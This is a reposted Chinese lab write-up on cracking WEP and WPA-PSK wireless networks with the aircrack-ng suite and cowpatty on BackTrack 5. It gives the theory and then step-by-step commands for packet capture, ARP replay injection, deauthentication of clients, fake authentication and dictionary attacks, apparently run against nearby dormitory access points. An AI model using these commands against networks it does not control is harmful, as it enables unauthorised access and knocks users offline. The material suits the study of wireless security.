• WEP&WPA Cracking on BT5/MAC [转]


    WEP&WPA Cracking on BT5/MAC

    实验介绍

    随着网络的迅速发展,无线网络已逐渐发展成为一种非常重要的网络连接方式。然而,无线网络给人们的生活带来便捷的同时,也会给人们带来安全上面的问题。因此,无线网络中的安全性问题一直是人们研究的热点。本实验中,作者就目前比较普遍使用的两种无线网络加密方法WEP和WPA进行破解实验。

     

    WEP

    WEP(Wired Equivalent Privacy)加密技术是一种针对无线网络的加密方法,在1999年9月引入到802.11标准中,至今为止仍然十分活跃。目前绝大多数无线路由器上都支持WEP加密。图1是作者在其宿舍做的一个实验,利用airodump-ng工具可以看到周围AP 的加密方式分布情况。

    图1 加密方式分布情况

    从图1中我们可以看到,在监测到的6个AP中,有4个采用WEP加密方式,1个是OPN方式,还有一个是WPA2加密方式,选择WEP加密方式的比例达到了66.7%,由此可见WEP加密方式的普及度之高。
    下面分别介绍WEP加密原理以及WEP破解过程。

    WEP加密原理

    1.WEP加密过程

    WEP采用了RC4加密方法。在64-bit WEP中,用一个40bit(5*8)的密码和一个24bit的IV作为RC4的密钥流。同理,在128-bit WEP中,用一个104 bit(13*8)的密码和一个24bit的IV作为RC4的密钥流。因此我们经常可以看到使用WEP加密时对密码的长度有限制,要么5个ASCII码,要么13个ASCII码。WEP的加密过程如下:
    a).计算校验和。
    设信息为M,首先通过CRC算法计算出完整的校验和c<M>,然后将M与c<M>级联起来得到明文数据P=<M,c<M>>。
    b).加密
    用共享密钥k和一个初始化向量v作为RC4算法的输入,产生一个密钥流,即RC4(v,k)。然后将这个密钥流与明文P进行异或,得到最后的密文C。因此它们之间的关系为
    C = P ⊕RC4(v,k)
    其中P = <M,c<M>>
    c).传输
    随后,将初始向量v和密文C级联发送到无线链路中,即
    <v,P⊕RC4(v,k)>,其中P = <M,c<M>>
    WEP的加密过程如图2所示

    图2  WEP加密过程

     

    2.RC4加密算法

    RC4加密算法中又分为2个子算法:KSA(初始化算法)和PRGA(伪随机子密码生成算法)。KSA算法生成一个256长度的数组S[],经过KSA算法后,S[]数组中每一个数都是一个0~255之间的数。PRGA每一步从S[]中随机选出一个字节的Output,并将Output与明文P中的一个字节进行异或。也就是说,P中有多少个字节,PRGA就有多少次循环。这两个函数的代码如下:
    KsA(Key-scheduling algorithm)

    1. Assume N = 256
    2. K[] = Secrete Key array
    3. Initialization:
    4. For i = 0 to N – 1
    5.   S[i] = i
    6. j = 0
    7. Scrambling:
    8. For i = 0 … N – 1
    9.   j = j + S[i] + K[i]
    10.  Swap(S[i], S[j])

    PRGA(pseudo-random generation algorithm)

    1. Initialization:
    2. i = 0
    3. j = 0
    4. Generation Loop:
    5.   i = i + 1
    6.   j = j + S[i]
    7.   Swap(S[i], S[j])
    8.   Output z = S[S[i] + S[j]]
    9.   Output XORed with data

    3.RC4加密算法的缺陷

    与其说是RC4算法有一些缺陷导致WEP可以被破解,不如说是WEP对RC4的使用不当,导致RC4算法的某些特性可以被利用过来进行WEP破解。首先,iv作为明文传输,也就是所有监听报文的人都可以知道这3个字节的iv。因此,RC4的输入中,前3个字节是已知的。在KSA和PRGA算法中,都有将i和j初始化的过程,也就是在KSA和PRGA算法的第一轮迭代中,i和j的值是确定的,例如i=1,j=s[1],在一定概率下,前几轮迭代过程几乎可以重构出来。2001年,Scott Fluhrer, Itsik Mantin, 和Adi Shamir三人发表了一篇具有重要意义的文章[2],对RC4算法的一些特性进行分析并为WEP破解提供了理论依据,这基本就代表了WEP加密算法的瓦解。根据Scott Fluhrer等人的研究[2],RC4算法密钥空间有大量的弱密钥,在使用这些弱密钥作为RC4算法的输入时,只需要进行迭代几次就可以推理出密钥的前几位。对于(A+3,N-1,X)形式的iv(A表示要破解的密钥的位置,N一般为256,X随意),当收集到60个具有这种形式且X不同的iv时,就有0.5的概率可以成功破解出K[A]。

    WEP破解过程

    目前已经有开源工具实现了WEP破解,一般只需要敲几行代码输入几条命令就可以在几分钟内顺利破解。以下是作者在宿舍内对使用WEP加密的AP进行破解的过程,实验环境为BT5,使用工具为AirCrack-NG,使用网卡为netcoreNW330(RTL8187b,支持注入)。
    WEP破解的最终手段就是收集尽可能多的iv,因此不管在何种场景之下都要以此作为目标。下面是WEP破解一个最基本的过程,在任何场景之下都需要经过这些步骤:
    a) 查看一下网卡信息
    iwconfig

    图3 iwconfig

    这里我们看到wlan1是我们使用的netcore NW330(RTL6187b),由于它支持注入,所以我们下一步会选用这个。
    b) 打开网卡的监控模式
    airmon-ng start wlan1

    图4 airmon-ng start

    可以看到,开启监控模式后,网卡名为mon0,因此后面步骤中都使用mon0作为网卡的名称。
    c) 查看周围ap信息
    airodump-ng mon0

    图5 airmon-ng mon0

    可以看到有很多个AP,在这些AP中有很多都是以WEP方式加密的。从这些AP中选择尽量信号好的作为实验对象,因为这样收到的包更多更快。
    d) 获取数据包(iv)
    airodump-ng –c channel –bssid ap_mac –w file_name mon0
    -c 表示channel,从c)中可以看到选择目标ap所在的channel。
    -bssid 表示AP的mac
    -w 表示抓取到的包存放的文件名,以用来最后进行破解

    图6 airodump-ng

    e) 破解
    aircrack-ng –b ap_mac filename*.cap
    这里的filename就是d)中写入的filename。注意,airodump-ng会自动在filename后面添上后缀.cap,并且重复几次d)步骤,每次生成的文件名中会自 动加上不同的数字以表示版本如filename-01.cap,filename-02,cap等,因此需要注意选择filename。

    图7 aircrack-ng

    以上5个步骤为破解WEP的一般过程,可以看到在图中所示的例子中,最后破解出的密码为whscd,事实也正是FAST无线路由器的密码。有时候在一些特殊情况下,还可以采用更主动的方法,使得获取iv的时间尽可能小,破解的过程尽可能快。以下描述了几个不同的场景下,如何利用aireplay-ng工具来更快的破解WEP。下面情景中描述的做法与以上5个步骤中的第4个步骤同时进行,即在获取数据包的同时另外运行命令。

    1.有客户端少流量或无流量

    有时候某个ap上连接着的客户端流量很小,如果要等到收集足够多的iv,需要花费很多时间等待,因此在一些特殊情况下还可以采用更主动的方法使得收集iv的过程变得更快。例如aireplay-ng就是向无线网络进行注入的工具。在用airodump-ng收集iv时,同时开启aireplay-ng的注入功能,可以主动获取到更多的iv包,大大缩短收集iv包的时间。
    例如下图所示,用aireplay-ng的注入攻击模式(-3),即先抓取网络中的arp request包,然后分析重发以提高抓包数量:
    aireplay-ng -3 –b ap_mac –h client_mac mon0
    -3: arp-request注入攻击模式
    -b设置ap的mac
    -h设置client的mac

    图8 aireplay-ng -3注入攻击模式

    另外,如果用注入攻击模式收集不到ARP request。如下图所示

    图9 aireplay-ng -3注入攻击模式无流量

    可以看到,客户端没有流量,就算开启注入攻击模式也没有用,因为没有人上网来产生有效数据。此时,可以另外开启一个窗口使用aireplay-ng的deautenticate冲突模式,强制断开客户端与AP的连接,迫使其重新连接,并在这个过程中获得验证数据包,从而产生有效的arp数据。
    aireplay-ng -0 10 –a ap_mac –c client_mac mon0
    -0 : deautenticate冲突模式
    10 表示发送的次数(如果设置为0,则表示循环攻击)
    -a设置ap的mac
    -c设置client的mac

    图10 aireplay -0 deautenticate冲突模式

    运行该命令后,-3注入攻击模式窗口很快就可以看到收集到大量的arp request了。这样就可以迅速收集到大量iv进行破解。
    破解结果如下

    图11 破解结果

    2.无客户端

    在没有客户端的情况下,先利用aireplay-ng的fakeauth count 伪装一个客户端和ap
    进行连接.
    aireplay-ng -1 0 –e ap_essid –a ap_mac –h my_mac mon0
    -1: fakeauth count模式
    0:表示延迟0秒后连接
    -e设置ap的essid
    -a设置ap的mac
    -h设置伪装的客户端mac,这里一般自己网卡的mac地址

    图12 aireplay-ng -1 fackauth伪装客户端

    然后用interactive 交互模式或arp-request注入攻击模式来加速获取iv包。
    aireplay-ng -2 –p 0841–c FF:FF:FF:FF:FF:FF –b ap_mac –h my_mac mon0
    -2: interactive 交互模式
    -p 设置控制帧中包含的信息,默认采用0841
    -c:设置目标mac的地址
    -b:设置ap的mac
    -h: 设置伪装客户端网卡的mac(自己的mac地址)

    图13 aireplay-ng -2交互模式

    破解结果如下

    图14 破解结果

    WPA

    WPA/WPA2简介

    由于WEP中存在严重的安全漏洞,WIFI联盟制定了WPA和WPA2以取代WEP。其中WPA实现了802.11i的主要部分,提供了对现有硬件的向下兼容,被用来作为WEP到802.11i的过渡。之后的则WPA2完整的实现了整个IEEE 802.1i标准。
    WPA的根据应用场景的不同采用不同的认证方式,其中面对家庭或小型办公场所网络的WPA-PSK不需要专门的认证服务器,所有该网络中的设备通过使用同一个256-bit的密钥来进行认证。

    WPA-PSK安全漏洞

    WPA-PSK认证中的四次握手被设计用来在不安全的信道中,通过明文传输的方式来进行一定程度上的认证,并且在设备之间建立安全信道。首先,PSK会被转化为PMK,而PMK则在接下来被用于生成PTK。PTK则会被分为若干部分,其中一部分被称作MIC Key,用来生成每一个包的Hash值来用于验证。
    WPA的安全问题与其认证过程所使用的算法关系不大,更多的是由于这一过程可以被轻易的重现,这就使得WPA-PSK可能遭受字典暴力攻击。

    WPA-PSK攻击原理

    WPA-PSK攻击分为以下几个步骤:
    1. 根据passphrase,SSID生成PMK,即PMK = pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)
    2. 捕获EAPOL四次握手的数据包,得到ANonce,SNonce等信息,用于计算PTK,即
    PTK = PRF-X(PMK, Len(PMK), “Pairwise key expansion”, Min(AA,SA) || Max(AA,SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
    3. 使用MIC Key计算EAPOL报文的MIC,即MIC = HMAC_MD5(MIC Key, 16, 802.1x data)
    4. 将计算得到的MIC值与捕获到的MIC值对比,如果相同则破解成功。

    WPA-PSK攻击难点

    WPA-PSK攻击的主要难点在于大量计算PMK所需要的计算量。一台普通的计算机通常的计算能力在500pmks/s,想要对8位的纯小写字母组合密码进行暴力破解所需要的时间为14年,所以想要破解WPA-PSK只有两种可能:1.用户使用了常见的弱密码;2.堆砌计算资源,获得超级计算机量级的计算能力。

    WPA-PSK攻击实践

    本实验针对用户使用基于字典的弱密码的情况进行了攻击实践,实验环境如下:
    硬件:外接无线网卡,全向、定向天线
    软件:BT5(VirtualBox),aircrack-ng套装, cowpatty及自己基于OpenCL编写的并行破解加速程序,程序源码见以下链接
    https://github.com/shaofengniu/opencl
    攻击实践步骤简要概括如下:
    1. 使用airodump-ng选定攻击目标,并对齐通信信息进行监听
    2. 使用aireplay-ng使某个客户端断开与AP的连接,在其重新发起连接的时候,捕获其四次握手的数据包

    图15 WPA四次握手

    3. 使用百家姓,生日,英语常用词汇,4级词汇,及其之间的组合来生成字典文件
    4. 使用cowpatty对捕获到的包进行破解

    图16 cpwpatty破解

    5. 使用OpenCL程序利用GPU对破解进行加速

    图17 用GPU进行并行计算加快破解速度

    具体操作步骤见课堂展示视频,由于视频太大故不上传,有兴趣者可向我们索取。用GPU并行破解算法后,破解时间由原来的9分钟缩小到2分钟,破解速度的提升显而易见。

    实践总结

    从WEP的破解过程可以看到,目前WEP十分不安全,用专有工具在几分钟之内就能轻松破解WEP。因此为了使用无线网络的安全性和防止别人蹭网,应该改用更安全的加密方式如WPA等。但是由于很多非专业人事对此并不了解,他们并不知道WEP和WPA的区别,很多人都不知道该选择什么加密方式,此时经常位于第一个选项的WEP就自然而然成为他们的选择。从实验中可以看到,在系别混杂的女生宿舍楼内,使用WEP加密方式的居多。但是在计算机系男生集中的宿舍楼内,使用WPA的却占绝大多数。由此可以看到,不同人群在使用网络时的不同特征。
    在WPA-PSK攻击实践的过程中,对其认证过程有了更为深入的了解,并自行实现了其中的一部分。
    经过本次实践,个人认为WPA的安全问题主要存在于弱密码的使用,除非拥有庞大的计算资源(如购买Amazon EC2的计算服务),想要对其进行纯粹的暴力破解还是不大可能的,更多的还是要依赖对弱密码的字典攻击。
    所以我们只要稍微提高注意,使用不常见的SSID,加上一个稍微随机一点的passphrase,就能在很大程度上避免被攻击。
    但是另一方面,随着云计算等技术的迅速发展,超级计算机级别的计算资源正变得越来越随手可及,只要花上几百美元,在Amazon EC2上租用一个Tesla集群,就可能在很短的时间内采用纯暴力方式,将我们上面认为牢不可破的密码攻破。

    参考资料

    [1]http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
    [2]Scott R. Fluhrer, Itsik Mantin and Adi Shamir, Weaknesses in the Key Scheduling Algorithm of RC4
    [3]Adam Stubblefield, John Ioannidis, Aviel D. Rubin, Using the Fluhrer, Mantin, and Shamir Attackto Break WEP
    [4]http://www.informit.com/articles/article.aspx?p=27666
    [5]http://www.aircrack-ng.org/doku.php?id=simple_wep_crack&DokuWiki=9085254dab5ce40ca6472aea32f634f
    [6]http://www.informit.com/articles/article.aspx?p=370636
    [7]http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
    [8]http://en.wikipedia.org/wiki/PBKDF2
    [9]http://en.wikipedia.org/wiki/HMAC
    [10]http://en.wikipedia.org/wiki/SHA1
    [11]http://code.google.com/p/pyrit/

  • 相关阅读:
    Python爬虫的开发
    JSON
    XPath
    w3c
    Python I/O操作
    【转】C语言中DEFINE简介及多行宏定义
    【转】C++中#if #ifdef 的作用
    srand()、rand()、time()函数的用法
    排序算法之冒泡排序、选择排序
    Java Spring学习笔记
  • 原文地址:https://www.cnblogs.com/javawebsoa/p/3036496.html
Copyright © 2020-2023  润新知